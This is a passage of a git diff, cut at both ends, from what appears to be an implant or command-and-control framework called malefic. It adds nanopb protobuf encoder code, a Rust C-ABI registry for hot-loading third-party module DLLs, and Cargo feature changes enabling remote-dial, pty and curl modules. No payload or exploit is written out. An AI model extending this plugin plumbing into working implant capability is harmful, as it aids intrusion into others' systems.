(PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef PB_WITHOUT_64BIT +bool checkreturn pb_encode_fixed64(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 8); +#else + uint64_t val = *(const uint64_t*)value; + pb_byte_t bytes[8]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + bytes[4] = (pb_byte_t)((val >> 32) & 0xFF); + bytes[5] = (pb_byte_t)((val >> 40) & 0xFF); + bytes[6] = (pb_byte_t)((val >> 48) & 0xFF); + bytes[7] = (pb_byte_t)((val >> 56) & 0xFF); + return pb_write(stream, bytes, 8); +#endif +} +#endif + +bool checkreturn pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number) +{ + pb_uint64_t tag = ((pb_uint64_t)field_number << 3) | wiretype; + return pb_encode_varint(stream, tag); +} + +bool pb_encode_tag_for_field ( pb_ostream_t* stream, const pb_field_iter_t* field ) +{ + pb_wire_type_t wiretype; + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + wiretype = PB_WT_VARINT; + break; + + case PB_LTYPE_FIXED32: + wiretype = PB_WT_32BIT; + break; + + case PB_LTYPE_FIXED64: + wiretype = PB_WT_64BIT; + break; + + case PB_LTYPE_BYTES: + case PB_LTYPE_STRING: + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + case PB_LTYPE_FIXED_LENGTH_BYTES: + wiretype = PB_WT_STRING; + break; + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } + + return pb_encode_tag(stream, wiretype, field->tag); +} + +bool checkreturn pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size) +{ + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + return pb_write(stream, buffer, size); +} + +bool checkreturn pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + /* First calculate the message size using a non-writing substream. */ + pb_ostream_t substream = PB_OSTREAM_SIZING; + size_t size; + bool status; + + if (!pb_encode(&substream, fields, src_struct)) + { +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + return false; + } + + size = substream.bytes_written; + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing */ + + if (stream->bytes_written + size > stream->max_size) + PB_RETURN_ERROR(stream, "stream full"); + + /* Use a substream to verify that a callback doesn't write more than + * what it did the first time. */ + substream.callback = stream->callback; + substream.state = stream->state; + substream.max_size = size; + substream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + substream.errmsg = NULL; +#endif + + status = pb_encode(&substream, fields, src_struct); + + stream->bytes_written += substream.bytes_written; + stream->state = substream.state; +#ifndef PB_NO_ERRMSG + stream->errmsg = substream.errmsg; +#endif + + if (substream.bytes_written != size) + PB_RETURN_ERROR(stream, "submsg size changed"); + + return status; +} + +/* Field encoders */ + +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + uint32_t value = safe_read_bool(field->pData) ? 1 : 0; + PB_UNUSED(field); + return pb_encode_varint(stream, value); +} + +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (PB_LTYPE(field->type) == PB_LTYPE_UVARINT) + { + /* Perform unsigned integer extension */ + pb_uint64_t value = 0; + + if (field->data_size == sizeof(uint_least8_t)) + value = *(const uint_least8_t*)field->pData; + else if (field->data_size == sizeof(uint_least16_t)) + value = *(const uint_least16_t*)field->pData; + else if (field->data_size == sizeof(uint32_t)) + value = *(const uint32_t*)field->pData; + else if (field->data_size == sizeof(pb_uint64_t)) + value = *(const pb_uint64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + return pb_encode_varint(stream, value); + } + else + { + /* Perform signed integer extension */ + pb_int64_t value = 0; + + if (field->data_size == sizeof(int_least8_t)) + value = *(const int_least8_t*)field->pData; + else if (field->data_size == sizeof(int_least16_t)) + value = *(const int_least16_t*)field->pData; + else if (field->data_size == sizeof(int32_t)) + value = *(const int32_t*)field->pData; + else if (field->data_size == sizeof(pb_int64_t)) + value = *(const pb_int64_t*)field->pData; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + return pb_encode_svarint(stream, value); +#ifdef PB_WITHOUT_64BIT + else if (value < 0) + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)-1); +#endif + else + return pb_encode_varint(stream, (pb_uint64_t)value); + + } +} + +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field) +{ +#ifdef PB_CONVERT_DOUBLE_FLOAT + if (field->data_size == sizeof(float) && PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + return pb_encode_float_as_double(stream, *(float*)field->pData); + } +#endif + + if (field->data_size == sizeof(uint32_t)) + { + return pb_encode_fixed32(stream, field->pData); + } +#ifndef PB_WITHOUT_64BIT + else if (field->data_size == sizeof(uint64_t)) + { + return pb_encode_fixed64(stream, field->pData); + } +#endif + else + { + PB_RETURN_ERROR(stream, "invalid data_size"); + } +} + +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_bytes_array_t *bytes = NULL; + + bytes = (const pb_bytes_array_t*)field->pData; + + if (bytes == NULL) + { + /* Treat null pointer as an empty bytes field */ + return pb_encode_string(stream, NULL, 0); + } + + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + bytes->size > field->data_size - offsetof(pb_bytes_array_t, bytes)) + { + PB_RETURN_ERROR(stream, "bytes size exceeded"); + } + + return pb_encode_string(stream, bytes->bytes, (size_t)bytes->size); +} + +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + size_t size = 0; + size_t max_size = (size_t)field->data_size; + const char *str = (const char*)field->pData; + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { + max_size = (size_t)-1; + } + else + { + /* pb_dec_string() assumes string fields end with a null + * terminator when the type isn't PB_ATYPE_POINTER, so we + * shouldn't allow more than max-1 bytes to be written to + * allow space for the null terminator. + */ + if (max_size == 0) + PB_RETURN_ERROR(stream, "zero-length string"); + + max_size -= 1; + } + + + if (str == NULL) + { + size = 0; /* Treat null pointer as an empty string */ + } + else + { + const char *p = str; + + /* strnlen() is not always available, so just use a loop */ + while (size < max_size && *p != '\0') + { + size++; + p++; + } + + if (*p != '\0') + { + PB_RETURN_ERROR(stream, "unterminated string"); + } + } + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8(str)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return pb_encode_string(stream, (const pb_byte_t*)str, size); +} + +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.encode) + { + if (!callback->funcs.encode(stream, field, &callback->arg)) + return false; + } + } + + return pb_encode_submessage(stream, field->submsg_desc, field->pData); +} + +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + return pb_encode_string(stream, (const pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_encode_float_as_double(pb_ostream_t *stream, float value) +{ + union { float f; uint32_t i; } in; + uint_least8_t sign; + int exponent; + uint64_t mantissa; + + in.f = value; + + /* Decompose input value */ + sign = (uint_least8_t)((in.i >> 31) & 1); + exponent = (int)((in.i >> 23) & 0xFF) - 127; + mantissa = in.i & 0x7FFFFF; + + if (exponent == 128) + { + /* Special value (NaN etc.) */ + exponent = 1024; + } + else if (exponent == -127) + { + if (!mantissa) + { + /* Zero */ + exponent = -1023; + } + else + { + /* Denormalized */ + mantissa <<= 1; + while (!(mantissa & 0x800000)) + { + mantissa <<= 1; + exponent--; + } + mantissa &= 0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/src/lib.rs b/malefic-3rd-template/src/lib.rs new file mode 100644 index 0000000..1e1c702 --- /dev/null +++ b/malefic-3rd-template/src/lib.rs @@ -0,0 +1,161 @@ +//! malefic-3rd-template — Third-party module DLL using the runtime C ABI protocol. +//! +//! Exports 7 `extern "C"` functions (rt_abi_version, rt_module_count, etc.) +//! for cross-version-safe hot loading. + +use malefic_runtime::abi::{RtBuffer, RtModuleHandle, RtStatus, RT_ABI_VERSION}; +use malefic_runtime::abi::{RtSendFn, RtRecvFn, RtTryRecvFn, RtHostFreeFn}; +use malefic_runtime::module_sdk::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor}; +use malefic_runtime::codec; + +// ── Registry ──────────────────────────────────────────────────────────────── + +/// A runtime-named module descriptor — the name comes from FFI (CModuleName etc.) +/// rather than from the static RtModule::name(). +struct RuntimeNamedModule { + name: String, + module: Box, +} + +fn build_registry() -> Vec { + // We can't use RtModuleDescriptor directly because the names are + // runtime-determined (from FFI calls like CModuleName, GoModuleName). + // Instead, we build an intermediate list then convert. + // + // For now, use name_fn that returns the static trait name. + // The actual FFI-determined names are set via the modules themselves. + let mut v: Vec = Vec::new(); + + #[cfg(feature = "rust_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_rust::RustModule::name, + constructor: || Box::new(malefic_3rd_rust::RustModule::new()), + }); + + #[cfg(feature = "golang_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_go::GolangModule::name, + constructor: || Box::new(malefic_3rd_go::GolangModule::new()), + }); + + #[cfg(feature = "c_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_c::CModule::name, + constructor: || Box::new(malefic_3rd_c::CModule::new()), + }); + + #[cfg(feature = "zig_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_zig::ZigModule::name, + constructor: || Box::new(malefic_3rd_zig::ZigModule::new()), + }); + + #[cfg(feature = "nim_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_nim::NimModule::name, + constructor: || Box::new(malefic_3rd_nim::NimModule::new()), + }); + + v +} + +fn get_registry() -> &'static [RtModuleDescriptor] { + use std::sync::OnceLock; + static REGISTRY: OnceLock> = OnceLock::new(); + REGISTRY.get_or_init(build_registry) +} + +// ── C ABI Exports ─────────────────────────────────────────────────────────── + +#[no_mangle] +pub extern "C" fn rt_abi_version() -> u32 { + RT_ABI_VERSION +} + +#[no_mangle] +pub extern "C" fn rt_module_count() -> u32 { + get_registry().len() as u32 +} + +#[no_mangle] +pub extern "C" fn rt_module_name(index: u32) -> RtBuffer { + let registry = get_registry(); + if (index as usize) >= registry.len() { + return RtBuffer::empty(); + } + let name = (registry[index as usize].name_fn)(); + RtBuffer::from_vec(name.as_bytes().to_vec()) +} + +#[no_mangle] +pub extern "C" fn rt_module_create( + name_ptr: *const u8, + name_len: u32, +) -> *mut RtModuleHandle { + if name_ptr.is_null() || name_len == 0 { + return core::ptr::null_mut(); + } + let name = unsafe { + match core::str::from_utf8(core::slice::from_raw_parts(name_ptr, name_len as usize)) { + Ok(s) => s, + Err(_) => return core::ptr::null_mut(), + } + }; + for desc in get_registry() { + if (desc.name_fn)() == name { + let module = (desc.constructor)(); + let boxed = Box::new(module); + return Box::into_raw(boxed) as *mut RtModuleHandle; + } + } + core::ptr::null_mut() +} + +#[no_mangle] +pub extern "C" fn rt_module_destroy(handle: *mut RtModuleHandle) { + if !handle.is_null() { + unsafe { + let _ = Box::from_raw(handle as *mut Box); + } + } +} + +#[no_mangle] +pub extern "C" fn rt_module_run( + handle: *mut RtModuleHandle, + task_id: u32, + ctx: *mut core::ffi::c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, + final_out: *mut RtBuffer, +) -> RtStatus { + if handle.is_null() || final_out.is_null() { + return RtStatus::Error; + } + + let module = unsafe { &mut *(handle as *mut Box) }; + + let channel = unsafe { + RtChannel::from_raw(task_id, ctx, send_fn, recv_fn, try_recv_fn, host_free) + }; + + let (status, buf) = match module.run(task_id, &channel) { + malefic_runtime::module_sdk::RtResult::Done(body) => { + let bytes = codec::encode_body(task_id, body); + (RtStatus::Done, RtBuffer::from_vec(bytes)) + } + malefic_runtime::module_sdk::RtResult::Error(msg) => { + (RtStatus::Error, RtBuffer::from_vec(msg.into_bytes())) + } + }; + + unsafe { *final_out = buf; } + status +} + +#[no_mangle] +pub extern "C" fn rt_free(buf: RtBuffer) { + unsafe { malefic_runtime::abi::rt_buffer_from_vec_free(buf); } +} diff --git a/malefic-3rd/Cargo.toml b/malefic-3rd/Cargo.toml index a1461b7..9c2c5b4 100644 --- a/malefic-3rd/Cargo.toml +++ b/malefic-3rd/Cargo.toml @@ -9,34 +9,37 @@ path = "src/lib.rs" crate-type = ["cdylib", "rlib"] [features] -default = [] -full = ["curl", "pty"] +default = ["full", "as_module_dll"] +full = ["rem", "curl", "pty"] -as_cdylib = [] -curl = ["surf"] +as_module_dll = ["malefic-module/ffi"] +host_bridge = ["malefic-features/runtime_tokio"] +curl = ["dep:ureq"] memory_dial = [] rem_dial = [] load_rem = [] -rem = ["malefic-helper/rem_static", "rem_dial", "memory_dial"] -#rem_reflection = ["malefic-helper/rem_reflection", "rem_dial", "load_rem", "memory_dial"] +rem = ["malefic-rem/rem", "malefic-rem/rem_static", "rem_dial", "memory_dial"] pty = ["portable-pty", "futures-timer"] -hook = [] [dependencies] -malefic-trait = { path = "../malefic-trait" } -malefic-proto = { path = "../malefic-proto" } -malefic-helper = { path = "../malefic-helper"} +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } +malefic-proto = { workspace = true } +malefic-module = { workspace = true } +malefic-runtime = { workspace = true, optional = true } +malefic-rem = { workspace = true, optional = true } + async-trait = { workspace = true } anyhow = { workspace = true } futures = { workspace = true } -obfstr = { workspace = true } -surf = { version = "2.3", default-features = false, features = ["h1-client-rustls"], optional = true } -portable-pty = { version = "0.8", optional = true } +futures-channel = { workspace = true } futures-timer = { workspace = true, optional = true } -[target.'cfg(target_os = "windows")'.dependencies] -winapi = { version = "0.3", features = ["winuser", "libloaderapi"] } -detour = { git = "https://github.com/chainreactors/retour-rs", branch = "fix-nightly1.67.0-changes" } +ureq = { version = "2.12", default-features = false, optional = true } +portable-pty = { version = "0.8", optional = true } + +[dev-dependencies] +ureq = "2.12" [target.'cfg(unix)'.dependencies] libc = { workspace = true } diff --git a/malefic-3rd/src/curl/mod.rs b/malefic-3rd/src/curl/mod.rs index 4b2a2fa..fb4f1c2 100644 --- a/malefic-3rd/src/curl/mod.rs +++ b/malefic-3rd/src/curl/mod.rs @@ -1,8 +1,7 @@ -use async_trait::async_trait; -use malefic_trait::module_impl; -use std::str::FromStr; -use surf::http::headers::{HeaderName, HeaderValue}; use crate::prelude::*; +use async_trait::async_trait; +use malefic_gateway::module_impl; +use std::io::Read; pub struct Curl {} @@ -15,32 +14,31 @@ impl ModuleImpl for Curl { async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> 